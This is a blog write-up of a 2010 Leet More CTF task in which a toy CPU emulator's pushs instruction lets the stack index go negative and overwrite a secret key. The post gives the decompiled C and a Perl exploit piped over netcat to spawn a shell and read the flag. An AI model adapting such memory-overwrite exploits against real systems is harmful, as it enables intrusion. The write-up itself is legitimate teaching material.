Leet More 2010 Stack or what? writeup

We received a new CPU model, you are to make a vulnerability check. Enter the CPU secret code as a proof. [ ctf.ifmo.ru:3123 ] + binary
Here we have a VM with a few instuctions: nop, add, xor, mul, push, pop, loop, pops, pushs and core.
The most intresting is core – it spawns a shell, if the whole memory (256 bytes) is equal to a key, which is generated from ENV{“CPUCODE”}. This key is placed before the stack (which is actually a queue – just compare pop and push instructions) and stack grows to the key. So we have to overflow the stack, bypassing checks, or to read the key – to overflow the stack pointer.
A good idea is that vulnerability is somewhere in stack instructions – push/pushs or pop/pops. And it’s true – pushs is vulnerable:
void pushs(unsigned char strlen) {
  int result;
  signed int i;
  char *str;
  int saved_ax;

  saved_ax = (unsigned char)v_ax;
  str = &code[v_eip - 1]; //points to string after 'pushs' opcode and strlen
  v_eip += strlen - 1;
  if ( strlen + slen > 256 )
    puts("Stack overflow");
  else {
    for ( i = 1; i <= strlen; ++i ) {
      *(stack + stack_pointer - i) = str[i - 1];
      ++slen;
    }
    stack_pointer -= strlen;
  }
  fflush(stdout);
  result = saved_ax;
  v_ax = saved_ax;
}
The stack (queue) works due to “char” cycling. But here a computed index of stack’s byte has type ‘signed int’ because it isn’t stored in variables. Also, stack_pointer is not modified after each byte. So we can get something like *(stack + 0 – i) = str[i-1], and overwrite a large part of the key.
Exploit is rather simple:
#!/usr/bin/perl
print "\x08\xff"; #pushs \x00 x255
print "\x00"x255;
# We have to do "pops", because slen(len of data in queue)
# is checked every time
print "\x07\x00\xff"; #pops 255
# A first byte of the key is probably \xff
# (if CPUCODE is not very long)
print "\x08\x01"; #pushs
print "\xff";
print "\x07\x00\x01"; #pops
# Now mem is (ff 00 00 .. 00)
# Overwrite last 255 bytes
# of the key with \x00
print "\x08\xff"; #pushs
print "\x00"x255;
# "core" instruction
print "\x09\x00\x00\n";
Use like this:
$ (perl solve.pl; cat) | nc ctf.ifmo.ru 3123
Initializing CPU
Running program
Entering core mode
echo $CPUCODE
EMUL4T0RZ_HAX0RZ
exit

Task solved.

1 comment

    • raystor on September 17, 2010 at 14:12
    • Reply

    writeup for jailbreak and brainfffuuuuu http://www.kb.csu.ru/index.php/battle-news/ctf/252-leet-more-ctf2010

Leave a Reply

Your email address will not be published.